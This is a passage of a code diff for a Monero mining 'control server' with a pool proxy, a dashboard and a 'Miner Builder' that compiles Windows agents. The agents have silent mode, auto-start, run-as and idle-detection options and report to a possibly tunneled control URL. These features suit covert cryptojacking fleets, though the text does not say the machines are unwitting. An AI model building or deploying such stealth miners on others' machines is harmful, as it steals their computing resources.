if !connected {
log.Printf("[Pool] Cannot submit share - not connected to pool")
return
}
p.requestID++
// Submit share to pool
submitParams := []string{
p.config.Wallet,
share.JobID,
share.Nonce,
share.Hash,
}
paramsData, _ := json.Marshal(submitParams)
submitReq := StratumRequest{
ID: p.requestID,
Method: "submit",
Params: paramsData,
}
data, _ := json.Marshal(submitReq)
log.Printf("[Pool] Submitting share for agent %s (job: %s)...", share.AgentID[:min(8, len(share.AgentID))], share.JobID)
if err := p.writeLine(data); err != nil {
log.Printf("[Pool] Failed to submit share: %v", err)
if p.onShare != nil {
p.onShare(false, share.AgentID, share.JobID)
}
return
}
// Read response
p.mu.RLock()
reader := p.reader
p.mu.RUnlock()
if reader == nil {
return
}
// Note: In a real implementation, we'd read the response asynchronously
// and match it by ID. For now, we assume accepted.
if p.onShare != nil {
p.onShare(true, share.AgentID, share.JobID)
}
}
func (p *Proxy) reconnect() {
log.Printf("[Pool] Attempting reconnect in 10 seconds...")
time.Sleep(10 * time.Second)
select {
case <-p.stopCh:
return
default:
}
if err := p.Start(); err != nil {
log.Printf("[Pool] Reconnect failed: %v", err)
if p.onError != nil {
p.onError(fmt.Errorf("pool reconnect failed: %w", err))
}
// Try again
time.Sleep(30 * time.Second)
select {
case <-p.stopCh:
return
default:
go p.reconnect()
}
}
}
func (p *Proxy) writeLine(data []byte) error {
p.mu.RLock()
conn := p.conn
p.mu.RUnlock()
if conn == nil {
return fmt.Errorf("not connected")
}
line := append(data, '\n')
_, err := conn.Write(line)
return err
}
func (p *Proxy) difficultyToTarget(difficulty int64) string {
// Convert difficulty to target hex string
// target = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF / difficulty
maxTarget := new(big.Int)
maxTarget.SetString("FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF", 16)
diff := big.NewInt(difficulty)
target := new(big.Int).Div(maxTarget, diff)
// Convert to 32-byte hex (little-endian for Monero)
bytes := target.Bytes()
padded := make([]byte, 32)
copy(padded[32-len(bytes):], bytes)
// Reverse for little-endian
for i, j := 0, len(padded)-1; i < j; i, j = i+1, j-1 {
padded[i], padded[j] = padded[j], padded[i]
}
return hex.EncodeToString(padded)
}
// Helper to convert models.Job to pool.Job
func FromModelJob(job *models.Job) *Job {
if job == nil {
return nil
}
return &Job{
ID: job.ID,
Height: job.Height,
BlockTemplate: job.BlockTemplate,
Difficulty: job.Difficulty,
SeedHash: job.SeedHash,
Target: job.Target,
}
}
// Helper to convert pool.Job to models.Job
func (j *Job) ToModelJob() *models.Job {
return &models.Job{
ID: j.ID,
Height: j.Height,
Difficulty: j.Difficulty,
BlockTemplate: j.BlockTemplate,
SeedHash: j.SeedHash,
Target: j.Target,
CreatedAt: time.Now(),
}
}
// Helper to convert target hex to difficulty
func targetToDifficulty(targetHex string) int64 {
bytes, err := hex.DecodeString(targetHex)
if err != nil || len(bytes) == 0 {
return 0
}
// Reverse from little-endian
for i, j := 0, len(bytes)-1; i < j; i, j = i+1, j-1 {
bytes[i], bytes[j] = bytes[j], bytes[i]
}
target := new(big.Int).SetBytes(bytes)
if target.Sign() == 0 {
return 0
}
maxTarget := new(big.Int)
maxTarget.SetString("FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF", 16)
diff := new(big.Int).Div(maxTarget, target)
return diff.Int64()
}
// ParseBlob extracts fields from a Monero mining blob
func ParseBlob(blobHex string) (map[string]interface{}, error) {
blob, err := hex.DecodeString(blobHex)
if err != nil {
return nil, fmt.Errorf("invalid blob hex: %w", err)
}
if len(blob) < 43 {
return nil, fmt.Errorf("blob too short: %d bytes", len(blob))
}
result := make(map[string]interface{})
// Monero blob structure (simplified):
// [0:1] - Reserved (1 byte)
// [1:9] - Block ID (8 bytes, little-endian)
// [9:17] - Nonce (8 bytes, little-endian) - miners fill this
// [17:43] - Merkle root + extra data
result["reserved"] = blob[0]
result["block_id"] = binary.LittleEndian.Uint64(blob[1:9])
result["nonce_offset"] = 9
result["nonce_size"] = 4 // Standard nonce is 4 bytes for most pools
return result, nil
}
func min(a, b int) int {
if a < b {
return a
}
return b
}

263
server/main.go Normal file
View File

@@ -0,0 +1,263 @@
package main
import (
"encoding/json"
"fmt"
"log"
"net/http"
"os"
"path/filepath"
"crypto-miner-server/internal/api"
"crypto-miner-server/internal/builder"
"crypto-miner-server/internal/db"
"crypto-miner-server/internal/pool"
)
func main() {
log.SetFlags(log.LstdFlags | log.Lshortfile)
log.Println("Crypto Miner Control Server starting...")
// Load configuration
cfg := LoadConfig()
log.Printf("Configuration loaded: port=%d, dataDir=%s", cfg.Port, cfg.DataDir)
// Ensure data directories exist
dirs := []string{
cfg.DataDir,
filepath.Join(cfg.DataDir, "builds"),
filepath.Join(cfg.DataDir, "logs"),
}
for _, dir := range dirs {
if err := os.MkdirAll(dir, 0755); err != nil {
log.Fatalf("Failed to create directory %s: %v", dir, err)
}
}
// Initialize database
database, err := db.New(cfg.DataDir)
if err != nil {
log.Fatalf("Failed to initialize database: %v", err)
}
defer database.Close()
log.Println("Database initialized")
// Initialize WebSocket hub
wsHub := api.NewWSHub(database)
wsHub.SetDefaultAgentConfig(cfg.DefaultAgent)
log.Println("WebSocket hub initialized")
// Initialize config provider (wraps the config for the API handler)
configProvider := &serverConfigProvider{config: cfg}
// Initialize config handler
configHandler := api.NewConfigHandler(database, configProvider)
log.Println("Config handler initialized")
// Initialize builder handler
// The agent source is expected at ../agent relative to the server directory
agentSrcDir := findAgentSourceDir()
projectRoot := findProjectRoot()
builderHandler := builder.NewHandler(database, cfg.DataDir, agentSrcDir, projectRoot)
log.Printf("Builder handler initialized (agent source: %s)", agentSrcDir)
// Initialize Stratum pool proxy
poolCfg := &pool.Config{
Host: cfg.Pool.Host,
Port: cfg.Pool.Port,
UseTLS: cfg.Pool.UseTLS,
Wallet: cfg.Wallet.Address,
Password: cfg.Pool.Password,
}
poolProxy := pool.NewProxy(poolCfg)
// Set pool proxy on WebSocket hub for share forwarding
wsHub.SetPoolProxy(poolProxy)
// Set up pool callbacks
poolProxy.SetCallbacks(
// onJob - new job from pool, broadcast to all agents
func(job *pool.Job) {
log.Printf("[Pool] New job received: ID=%s, Height=%d", job.ID, job.Height)
// Broadcast new job to all connected agents
payload, _ := json.Marshal(job)
wsHub.BroadcastToAgents(api.Message{
Type: "new_job",
Payload: payload,
})
},
// onShare - share submission result from pool
func(accepted bool, agentID string, jobID string) {
log.Printf("[Pool] Share result for agent %s (job: %s): accepted=%v", agentID, jobID, accepted)
},
// onError - pool connection error
func(err error) {
log.Printf("[Pool] Error: %v", err)
},
)
// Start pool proxy connection (non-blocking, runs in background)
go func() {
if err := poolProxy.Start(); err != nil {
log.Printf("[Pool] Failed to connect to pool (will retry): %v", err)
}
}()
// Find web root for frontend
webRoot := findWebRoot()
log.Printf("Web root: %s", webRoot)
// Initialize router
router := api.NewRouter(database, wsHub, configHandler, builderHandler, webRoot)
log.Println("Router initialized")
// Start server
addr := fmt.Sprintf(":%d", cfg.Port)
log.Printf("Server listening on %s", addr)
log.Printf("Open http://localhost:%d in your browser", cfg.Port)
if err := http.ListenAndServe(addr, router); err != nil {
log.Fatalf("Server failed: %v", err)
}
}
// serverConfigProvider wraps the Config to implement api.ConfigProvider interface
type serverConfigProvider struct {
config *Config
}
func (p *serverConfigProvider) GetConfigJSON() json.RawMessage {
data, _ := json.Marshal(p.config)
return data
}
func (p *serverConfigProvider) UpdateConfigFromJSON(data json.RawMessage) error {
var incoming Config
if err := json.Unmarshal(data, &incoming); err != nil {
return fmt.Errorf("invalid config: %w", err)
}
// Merge incoming config over current config
mergeConfig(p.config, &incoming)
// Save to disk
if err := p.config.Save(); err != nil {
return fmt.Errorf("failed to save config: %w", err)
}
return nil
}
// findAgentSourceDir locates the agent source code directory
// It searches relative to the server binary location and the current working directory
func findAgentSourceDir() string {
projectRoot := findProjectRoot()
candidates := []string{
filepath.Join(projectRoot, "agent"),
"../agent",
"./agent",
}
if cwd, err := os.Getwd(); err == nil {
candidates = append(candidates,
filepath.Join(cwd, "agent"),
filepath.Join(filepath.Dir(cwd), "agent"),
)
}
if exe, err := os.Executable(); err == nil {
exeDir := filepath.Dir(exe)
candidates = append(candidates,
filepath.Join(exeDir, "agent"),
filepath.Join(exeDir, "..", "agent"),
filepath.Join(exeDir, "..", "..", "agent"),
)
}
seen := map[string]bool{}
for _, candidate := range candidates {
absPath, err := filepath.Abs(candidate)
if err != nil || seen[absPath] {
continue
}
seen[absPath] = true
goModPath := filepath.Join(absPath, "go.mod")
if _, err := os.Stat(goModPath); err == nil {
return absPath
}
}
return filepath.Join(projectRoot, "agent")
}
func findProjectRoot() string {
if cwd, err := os.Getwd(); err == nil {
if _, err := os.Stat(filepath.Join(cwd, "run.bat")); err == nil {
return cwd
}
if _, err := os.Stat(filepath.Join(filepath.Dir(cwd), "run.bat")); err == nil {
return filepath.Dir(cwd)
}
}
if exe, err := os.Executable(); err == nil {
exeDir := filepath.Dir(exe)
candidates := []string{
exeDir,
filepath.Join(exeDir, ".."),
filepath.Join(exeDir, "..", ".."),
}
for _, candidate := range candidates {
if _, err := os.Stat(filepath.Join(candidate, "run.bat")); err == nil {
abs, _ := filepath.Abs(candidate)
return abs
}
}
}
if cwd, err := os.Getwd(); err == nil {
return cwd
}
return "."
}
// findWebRoot locates the frontend build output directory
func findWebRoot() string {
candidates := []string{
"webroot", // Copied by run.bat
"web/dist", // Vite build output relative to server/
filepath.Join("..", "server", "web", "dist"), // Relative to project root
filepath.Join("server", "web", "dist"), // From project root
}
if cwd, err := os.Getwd(); err == nil {
candidates = append(candidates,
filepath.Join(cwd, "webroot"),
filepath.Join(cwd, "web", "dist"),
filepath.Join(filepath.Dir(cwd), "server", "webroot"),
filepath.Join(filepath.Dir(cwd), "server", "web", "dist"),
)
}
if exe, err := os.Executable(); err == nil {
exeDir := filepath.Dir(exe)
candidates = append(candidates,
filepath.Join(exeDir, "..", "webroot"),
filepath.Join(exeDir, "..", "web", "dist"),
filepath.Join(exeDir, "..", "..", "server", "webroot"),
filepath.Join(exeDir, "..", "..", "server", "web", "dist"),
)
}
for _, candidate := range candidates {
absPath, err := filepath.Abs(candidate)
if err != nil {
continue
}
// Check if it has index.html
indexPath := filepath.Join(absPath, "index.html")
if _, err := os.Stat(indexPath); err == nil {
return absPath
}
}
return ""
}

13
server/web/index.html Normal file
View File

@@ -0,0 +1,13 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<link rel="icon" type="image/svg+xml" href="/vite.svg" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Crypto Miner Command Deck</title>
</head>
<body>
<div id="root"></div>
<script type="module" src="/src/main.tsx"></script>
</body>
</html>

2185
server/web/package-lock.json generated Normal file

File diff suppressed because it is too large Load Diff

24
server/web/package.json Normal file
View File

@@ -0,0 +1,24 @@
{
"name": "crypto-miner-dashboard",
"private": true,
"version": "1.0.0",
"type": "module",
"scripts": {
"dev": "vite",
"build": "tsc && vite build",
"preview": "vite preview"
},
"dependencies": {
"react": "^18.2.0",
"react-dom": "^18.2.0",
"react-router-dom": "^6.20.0",
"recharts": "^2.10.0"
},
"devDependencies": {
"@types/react": "^18.2.37",
"@types/react-dom": "^18.2.15",
"@vitejs/plugin-react": "^4.2.0",
"typescript": "^5.2.2",
"vite": "^5.0.0"
}
}

22
server/web/src/App.tsx Normal file
View File

@@ -0,0 +1,22 @@
import { Routes, Route, Navigate } from 'react-router-dom';
import Layout from './components/Layout/Layout';
import DashboardPage from './pages/DashboardPage';
import AgentsPage from './pages/AgentsPage';
import BuilderPage from './pages/BuilderPage';
import SettingsPage from './pages/SettingsPage';
function App() {
return (
<Layout>
<Routes>
<Route path="/" element={<Navigate to="/dashboard" replace />} />
<Route path="/dashboard" element={<DashboardPage />} />
<Route path="/agents" element={<AgentsPage />} />
<Route path="/builder" element={<BuilderPage />} />
<Route path="/settings" element={<SettingsPage />} />
</Routes>
</Layout>
);
}
export default App;

View File

@@ -0,0 +1,53 @@
import type { Agent, Share, HashrateSample, BuildRecord, FleetStats, ServerConfig, BuildRequest, BuildResponse } from '../types';
const API_BASE = '/api/v1';
async function fetchJSON<T>(url: string, options?: RequestInit): Promise<T> {
const res = await fetch(`${API_BASE}${url}`, {
headers: { 'Content-Type': 'application/json' },
...options,
});
if (!res.ok) {
const err = await res.text();
throw new Error(`API error ${res.status}: ${err}`);
}
return res.json();
}
export const api = {
// Dashboard
getStats: () => fetchJSON<FleetStats>('/dashboard/stats'),
// Agents
listAgents: () => fetchJSON<Agent[]>('/agents'),
getAgent: (id: string) => fetchJSON<Agent>(`/agents/${id}`),
getAgentStats: (id: string, limit?: number) =>
fetchJSON<HashrateSample[]>(`/agents/${id}/stats${limit ? `?limit=${limit}` : ''}`),
// Shares
getRecentShares: (limit?: number) =>
fetchJSON<Share[]>(`/shares${limit ? `?limit=${limit}` : ''}`),
// Builds
listBuilds: () => fetchJSON<BuildRecord[]>('/builds'),
// Config
getConfig: () => fetchJSON<ServerConfig>('/config'),
updateConfig: (config: Partial<ServerConfig>) =>
fetchJSON<ServerConfig>('/config', {
method: 'PUT',
body: JSON.stringify(config),
}),
// Builder
buildAgent: (req: BuildRequest) =>
fetchJSON<BuildResponse>('/builder/build', {
method: 'POST',
body: JSON.stringify(req),
}),
downloadBuild: (buildId: string) => `${API_BASE}/builds/${buildId}/download`,
// Health
healthCheck: () => fetchJSON<{ status: string }>('/health'),
};

View File

@@ -0,0 +1,127 @@
.layout {
display: flex;
min-height: 100vh;
}
.sidebar {
width: 240px;
background: var(--bg-secondary);
border-right: 1px solid var(--border-color);
display: flex;
flex-direction: column;
position: fixed;
top: 0;
left: 0;
bottom: 0;
z-index: 100;
}
.sidebar-header {
padding: 1.25rem 1rem;
border-bottom: 1px solid var(--border-color);
}
.logo {
display: flex;
align-items: center;
gap: 0.75rem;
}
.logo-icon {
font-size: 1.5rem;
}
.logo-text {
font-size: 1.25rem;
font-weight: 700;
background: linear-gradient(135deg, var(--accent-cyan), var(--accent-blue));
-webkit-background-clip: text;
-webkit-text-fill-color: transparent;
background-clip: text;
}
.sidebar-nav {
flex: 1;
padding: 0.75rem 0.5rem;
display: flex;
flex-direction: column;
gap: 0.25rem;
}
.nav-item {
display: flex;
align-items: center;
gap: 0.75rem;
padding: 0.75rem 1rem;
border-radius: 8px;
color: var(--text-secondary);
text-decoration: none;
font-size: 0.875rem;
font-weight: 500;
transition: all 0.2s ease;
}
.nav-item:hover {
background: var(--bg-hover);
color: var(--text-primary);
text-decoration: none;
}
.nav-item.active {
background: rgba(59, 130, 246, 0.15);
color: var(--accent-blue);
}
.nav-icon {
font-size: 1.125rem;
width: 1.5rem;
text-align: center;
}
.nav-label {
white-space: nowrap;
}
.sidebar-footer {
padding: 1rem;
border-top: 1px solid var(--border-color);
}
.version-badge {
font-size: 0.75rem;
color: var(--text-muted);
text-align: center;
}
.main-content {
flex: 1;
margin-left: 240px;
padding: 1.5rem 2rem;
min-height: 100vh;
}
@media (max-width: 768px) {
.sidebar {
width: 60px;
}
.logo-text,
.nav-label,
.sidebar-footer {
display: none;
}
.sidebar-header {
padding: 1rem 0.75rem;
}
.nav-item {
justify-content: center;
padding: 0.75rem;
}
.main-content {
margin-left: 60px;
padding: 1rem;
}
}

View File

@@ -0,0 +1,49 @@
import { ReactNode } from 'react';
import { NavLink } from 'react-router-dom';
import './Layout.css';
interface LayoutProps {
children: ReactNode;
}
export default function Layout({ children }: LayoutProps) {
return (
<div className="layout">
<nav className="sidebar">
<div className="sidebar-header">
<div className="logo">
<span className="logo-icon"></span>
<span className="logo-text">MinerCMD</span>
</div>
</div>
<div className="sidebar-nav">
<NavLink to="/dashboard" className={({ isActive }) => `nav-item ${isActive ? 'active' : ''}`}>
<span className="nav-icon">📊</span>
<span className="nav-label">Dashboard</span>
</NavLink>
<NavLink to="/agents" className={({ isActive }) => `nav-item ${isActive ? 'active' : ''}`}>
<span className="nav-icon">🖥</span>
<span className="nav-label">Agents</span>
</NavLink>
<NavLink to="/builder" className={({ isActive }) => `nav-item ${isActive ? 'active' : ''}`}>
<span className="nav-icon">🔨</span>
<span className="nav-label">Miner Builder</span>
</NavLink>
<NavLink to="/settings" className={({ isActive }) => `nav-item ${isActive ? 'active' : ''}`}>
<span className="nav-icon"></span>
<span className="nav-label">Settings</span>
</NavLink>
</div>
<div className="sidebar-footer">
<div className="version-badge">v1.0.0</div>
</div>
</nav>
<main className="main-content">
{children}
</main>
</div>
);
}

View File

@@ -0,0 +1,122 @@
import { useEffect, useRef, useCallback, useState } from 'react';
import type { WSMessage, Agent, FleetStats, Share } from '../types';
interface DashboardData {
agents: Agent[];
stats: FleetStats;
}
interface UseWebSocketReturn {
isConnected: boolean;
agents: Agent[];
stats: FleetStats | null;
recentShares: Share[];
}
export function useWebSocket(): UseWebSocketReturn {
const wsRef = useRef<WebSocket | null>(null);
const [isConnected, setIsConnected] = useState(false);
const [agents, setAgents] = useState<Agent[]>([]);
const [stats, setStats] = useState<FleetStats | null>(null);
const [recentShares, setRecentShares] = useState<Share[]>([]);
const connect = useCallback(() => {
const protocol = window.location.protocol === 'https:' ? 'wss:' : 'ws:';
const wsUrl = `${protocol}//${window.location.host}/ws/dashboard`;
const ws = new WebSocket(wsUrl);
wsRef.current = ws;
ws.onopen = () => {
setIsConnected(true);
};
ws.onclose = () => {
setIsConnected(false);
// Reconnect after 3 seconds
setTimeout(connect, 3000);
};
ws.onerror = () => {
ws.close();
};
ws.onmessage = (event) => {
try {
const msg: WSMessage = JSON.parse(event.data);
switch (msg.type) {
case 'init': {
const data = msg.payload as DashboardData;
if (data.agents) setAgents(data.agents);
if (data.stats) setStats(data.stats);
break;
}
case 'agent_online': {
const agent = msg.payload as Agent;
setAgents((prev) => {
const idx = prev.findIndex((a) => a.id === agent.id);
if (idx >= 0) {
const updated = [...prev];
updated[idx] = agent;
return updated;
}
return [...prev, agent];
});
break;
}
case 'agent_offline': {
const { agent_id } = msg.payload as { agent_id: string };
setAgents((prev) =>
prev.map((a) =>
a.id === agent_id ? { ...a, status: 'offline' as const } : a
)
);
break;
}
case 'stats_update': {
const update = msg.payload as {
agent_id: string;
hashrate_15s: number;
hashrate_1m: number;
hashrate_15m: number;
cpu_usage_pct: number;
};
setAgents((prev) =>
prev.map((a) =>
a.id === update.agent_id
? {
...a,
hashrate_15s: update.hashrate_15s,
hashrate_1m: update.hashrate_1m,
hashrate_15m: update.hashrate_15m,
cpu_usage_pct: update.cpu_usage_pct,
}
: a
)
);
break;
}
case 'new_share': {
const share = msg.payload as Share;
setRecentShares((prev) => [share, ...prev].slice(0, 50));
break;
}
}
} catch (err) {
console.error('Failed to parse WebSocket message:', err);
}
};
}, []);
useEffect(() => {
connect();
return () => {
if (wsRef.current) {
wsRef.current.close();
}
};
}, [connect]);
return { isConnected, agents, stats, recentShares };
}

13
server/web/src/main.tsx Normal file
View File

@@ -0,0 +1,13 @@
import React from 'react';
import ReactDOM from 'react-dom/client';
import { BrowserRouter } from 'react-router-dom';
import App from './App';
import './styles/global.css';
ReactDOM.createRoot(document.getElementById('root')!).render(
<React.StrictMode>
<BrowserRouter>
<App />
</BrowserRouter>
</React.StrictMode>
);

View File

@@ -0,0 +1,191 @@
import { useState, useEffect } from 'react';
import { api } from '../api/client';
import type { Agent, HashrateSample } from '../types';
import './Pages.css';
export default function AgentsPage() {
const [agents, setAgents] = useState<Agent[]>([]);
const [selectedAgent, setSelectedAgent] = useState<Agent | null>(null);
const [hashrateHistory, setHashrateHistory] = useState<HashrateSample[]>([]);
const [loading, setLoading] = useState(true);
useEffect(() => {
api.listAgents()
.then(setAgents)
.catch(console.error)
.finally(() => setLoading(false));
}, []);
const selectAgent = async (agent: Agent) => {
setSelectedAgent(agent);
try {
const history = await api.getAgentStats(agent.id, 60);
setHashrateHistory(history);
} catch (err) {
console.error(err);
}
};
return (
<div className="page fade-in">
<div className="page-header">
<h1>Agents</h1>
<span className="header-count">{agents.length} total</span>
</div>
{loading ? (
<div className="card empty-state">
<p>Loading agents...</p>
</div>
) : agents.length === 0 ? (
<div className="card empty-state">
<div className="empty-icon">🖥</div>
<h3>No agents registered</h3>
<p>Deploy a miner to a Windows machine and it will appear here automatically.</p>
</div>
) : (
<div className="agents-layout">
<div className="agents-list">
{agents.map((agent) => (
<div
key={agent.id}
className={`card agent-list-item ${selectedAgent?.id === agent.id ? 'selected' : ''}`}
onClick={() => selectAgent(agent)}
>
<div className="agent-list-header">
<div className="agent-list-name">
<span className={`status-dot ${agent.status}`} />
<span>{agent.name}</span>
</div>
<span className={`status-badge ${agent.status}`}>
{agent.status}
</span>
</div>
<div className="agent-list-details">
<span>Hashrate: {formatHashrate(agent.hashrate_15m)}</span>
<span>Shares: {agent.shares_good}/{agent.shares_total}</span>
</div>
<div className="agent-list-meta">
<span>{agent.ip}</span>
<span>v{agent.version || '?'}</span>
<span>{agent.cpu_cores} cores</span>
</div>
</div>
))}
</div>
{selectedAgent && (
<div className="agent-detail card">
<h2>{selectedAgent.name}</h2>
<div className="agent-detail-grid">
<div className="detail-item">
<span className="detail-label">Status</span>
<span className={`status-badge ${selectedAgent.status}`}>
{selectedAgent.status}
</span>
</div>
<div className="detail-item">
<span className="detail-label">Wallet</span>
<span className="detail-value mono">{selectedAgent.wallet?.substring(0, 20)}...</span>
</div>
<div className="detail-item">
<span className="detail-label">IP Address</span>
<span className="detail-value">{selectedAgent.ip}</span>
</div>
<div className="detail-item">
<span className="detail-label">Version</span>
<span className="detail-value">{selectedAgent.version || 'Unknown'}</span>
</div>
<div className="detail-item">
<span className="detail-label">CPU Cores</span>
<span className="detail-value">{selectedAgent.cpu_cores}</span>
</div>
<div className="detail-item">
<span className="detail-label">Memory</span>
<span className="detail-value">{selectedAgent.memory_gb} GB</span>
</div>
<div className="detail-item">
<span className="detail-label">CPU Usage</span>
<span className="detail-value">{selectedAgent.cpu_usage_pct.toFixed(1)}%</span>
</div>
<div className="detail-item">
<span className="detail-label">Uptime</span>
<span className="detail-value">{formatUptime(selectedAgent.uptime_seconds)}</span>
</div>
</div>
<div className="detail-section">
<h3>Hashrate</h3>
<div className="hashrate-detail-grid">
<div className="hashrate-item">
<span className="detail-label">15s</span>
<span className="hashrate-value">{formatHashrate(selectedAgent.hashrate_15s)}</span>
</div>
<div className="hashrate-item">
<span className="detail-label">1m</span>
<span className="hashrate-value">{formatHashrate(selectedAgent.hashrate_1m)}</span>
</div>
<div className="hashrate-item">
<span className="detail-label">15m</span>
<span className="hashrate-value">{formatHashrate(selectedAgent.hashrate_15m)}</span>
</div>
</div>
</div>
<div className="detail-section">
<h3>Shares</h3>
<div className="shares-detail-grid">
<div className="share-stat good">
<span className="share-count">{selectedAgent.shares_good}</span>
<span className="share-label">Accepted</span>
</div>
<div className="share-stat bad">
<span className="share-count">{selectedAgent.shares_bad}</span>
<span className="share-label">Rejected</span>
</div>
<div className="share-stat total">
<span className="share-count">{selectedAgent.shares_total}</span>
<span className="share-label">Total</span>
</div>
</div>
</div>
{hashrateHistory.length > 0 && (
<div className="detail-section">
<h3>Hashrate History (last {hashrateHistory.length} samples)</h3>
<div className="hashrate-chart">
{hashrateHistory.reverse().map((sample, i) => (
<div
key={sample.id}
className="chart-bar"
style={{
height: `${Math.max(5, (sample.hashrate / Math.max(...hashrateHistory.map(s => s.hashrate))) * 100)}%`,
}}
title={`${formatHashrate(sample.hashrate)} at ${new Date(sample.timestamp).toLocaleTimeString()}`}
/>
))}
</div>
</div>
)}
</div>
)}
</div>
)}
</div>
);
}
function formatHashrate(h: number): string {
if (h >= 1_000_000) return `${(h / 1_000_000).toFixed(2)} MH/s`;
if (h >= 1_000) return `${(h / 1_000).toFixed(2)} KH/s`;
return `${h.toFixed(0)} H/s`;
}
function formatUptime(seconds: number): string {
const d = Math.floor(seconds / 86400);
const h = Math.floor((seconds % 86400) / 3600);
const m = Math.floor((seconds % 3600) / 60);
if (d > 0) return `${d}d ${h}h`;
if (h > 0) return `${h}h ${m}m`;
return `${m}m`;
}

View File

@@ -0,0 +1,419 @@
import { useState, useEffect } from 'react';
import { api } from '../api/client';
import type { BuildRequest, BuildRecord, BuildResponse, ServerConfig } from '../types';
import './Pages.css';
function defaultsFromConfig(config: ServerConfig, origin: string): BuildRequest {
return {
worker_name: '',
server_url: origin,
wallet: config.wallet.address,
threads: config.default_agent_config.threads,
cpu_priority: config.default_agent_config.cpu_priority,
mining_mode: config.default_agent_config.mining_mode,
silent_mode: config.background.silent_mode,
run_as: config.background.run_as,
auto_start: config.background.auto_start,
max_cpu_usage_pct: config.default_agent_config.max_cpu_usage_pct,
min_free_ram_mb: config.default_agent_config.min_free_ram_mb,
idle_threshold_pct: config.default_agent_config.idle_threshold_pct,
idle_duration_minutes: config.default_agent_config.idle_duration_minutes,
schedule_start: config.default_agent_config.schedule_start,
schedule_end: config.default_agent_config.schedule_end,
pool_host: config.pool.host,
pool_port: config.pool.port,
pool_tls: config.pool.use_tls,
pool_pass: config.pool.password,
};
}
export default function BuilderPage() {
const [form, setForm] = useState<BuildRequest | null>(null);
const [building, setBuilding] = useState(false);
const [error, setError] = useState('');
const [lastBuild, setLastBuild] = useState<BuildResponse | null>(null);
const [recentBuilds, setRecentBuilds] = useState<BuildRecord[]>([]);
const [showRecent, setShowRecent] = useState(false);
const [loadingDefaults, setLoadingDefaults] = useState(true);
useEffect(() => {
api.getConfig()
.then((config) => setForm(defaultsFromConfig(config, window.location.origin)))
.catch((err) => {
console.error(err);
setError('Failed to load server defaults from Settings');
})
.finally(() => setLoadingDefaults(false));
}, []);
const loadRecentBuilds = async () => {
try {
const builds = await api.listBuilds();
setRecentBuilds(builds);
setShowRecent(true);
} catch (err) {
console.error(err);
}
};
const handleSubmit = async (e: React.FormEvent) => {
e.preventDefault();
if (!form) return;
setError('');
setLastBuild(null);
if (!form.worker_name.trim()) {
setError('Worker name is required');
return;
}
if (!form.server_url.trim()) {
setError('Server URL is required');
return;
}
if (!form.wallet.trim()) {
setError('Wallet address is required');
return;
}
setBuilding(true);
try {
const result = await api.buildAgent(form);
if (!result.success) {
throw new Error(result.error || 'Build failed');
}
setLastBuild(result);
loadRecentBuilds();
} catch (err: any) {
setError(err.message || 'Build failed');
} finally {
setBuilding(false);
}
};
const updateField = (field: keyof BuildRequest, value: any) => {
setForm((prev) => (prev ? { ...prev, [field]: value } : prev));
};
if (loadingDefaults || !form) {
return (
<div className="page fade-in">
<div className="page-header"><h1>Miner Builder</h1></div>
<div className="card"><p>Loading defaults from Settings...</p></div>
</div>
);
}
return (
<div className="page fade-in">
<div className="page-header">
<h1>Miner Builder</h1>
<button className="btn btn-outline" onClick={loadRecentBuilds}>
Recent Builds
</button>
</div>
<div className="builder-layout">
<div className="card builder-form">
<h2>Build Custom Miner</h2>
<p className="form-description">
Defaults come from Settings. Adjust per worker, then build. The server compiles a Windows
`.exe` with all values baked in and saves it under `data/builds/`.
</p>
<form onSubmit={handleSubmit}>
<div className="form-section">
<h3>Identity</h3>
<div className="form-group">
<label className="label">Worker Name</label>
<input
type="text"
className="input"
placeholder="office-pc-1"
value={form.worker_name}
onChange={(e) => updateField('worker_name', e.target.value)}
required
/>
</div>
<div className="form-group">
<label className="label">Server URL</label>
<input
type="text"
className="input"
value={form.server_url}
onChange={(e) => updateField('server_url', e.target.value)}
required
/>
<span className="form-hint">Control server URL agents connect to (LAN or tunneled domain)</span>
</div>
<div className="form-group">
<label className="label">XMR Wallet Address</label>
<input
type="text"
className="input mono"
value={form.wallet}
onChange={(e) => updateField('wallet', e.target.value)}
required
/>
</div>
</div>
<div className="form-section">
<h3>Pool Configuration</h3>
<div className="form-group">
<label className="label">Pool Host</label>
<input
type="text"
className="input"
value={form.pool_host}
onChange={(e) => updateField('pool_host', e.target.value)}
required
/>
</div>
<div className="form-row">
<div className="form-group">
<label className="label">Port</label>
<input
type="number"
className="input"
min={1}
max={65535}
value={form.pool_port}
onChange={(e) => updateField('pool_port', parseInt(e.target.value) || 3333)}
/>
</div>
<div className="form-group checkbox-group" style={{ alignSelf: 'flex-end', paddingBottom: '8px' }}>
<label className="checkbox-label">
<input
type="checkbox"
className="checkbox"
checked={form.pool_tls}
onChange={(e) => updateField('pool_tls', e.target.checked)}
/>
<span>Use TLS/SSL</span>
</label>
</div>
</div>
<div className="form-group">
<label className="label">Pool Password</label>
<input
type="text"
className="input"
value={form.pool_pass}
onChange={(e) => updateField('pool_pass', e.target.value)}
/>
</div>
</div>
<div className="form-section">
<h3>Performance</h3>
<div className="form-row">
<div className="form-group">
<label className="label">Threads</label>
<input
type="number"
className="input"
min={1}
max={128}
value={form.threads}
onChange={(e) => updateField('threads', parseInt(e.target.value) || 1)}
/>
</div>
<div className="form-group">
<label className="label">CPU Priority</label>
<select
className="select"
value={form.cpu_priority}
onChange={(e) => updateField('cpu_priority', e.target.value)}
>
<option value="idle">Idle</option>
<option value="below_normal">Below Normal</option>
<option value="normal">Normal</option>
<option value="above_normal">Above Normal</option>
<option value="high">High</option>
</select>
</div>
</div>
<div className="form-row">
<div className="form-group">
<label className="label">Max CPU Usage (%)</label>
<input
type="number"
className="input"
min={1}
max={100}
value={form.max_cpu_usage_pct}
onChange={(e) => updateField('max_cpu_usage_pct', parseInt(e.target.value) || 80)}
/>
</div>
<div className="form-group">
<label className="label">Min Free RAM (MB)</label>
<input
type="number"
className="input"
min={256}
value={form.min_free_ram_mb}
onChange={(e) => updateField('min_free_ram_mb', parseInt(e.target.value) || 1024)}
/>
</div>
</div>
<div className="form-group">
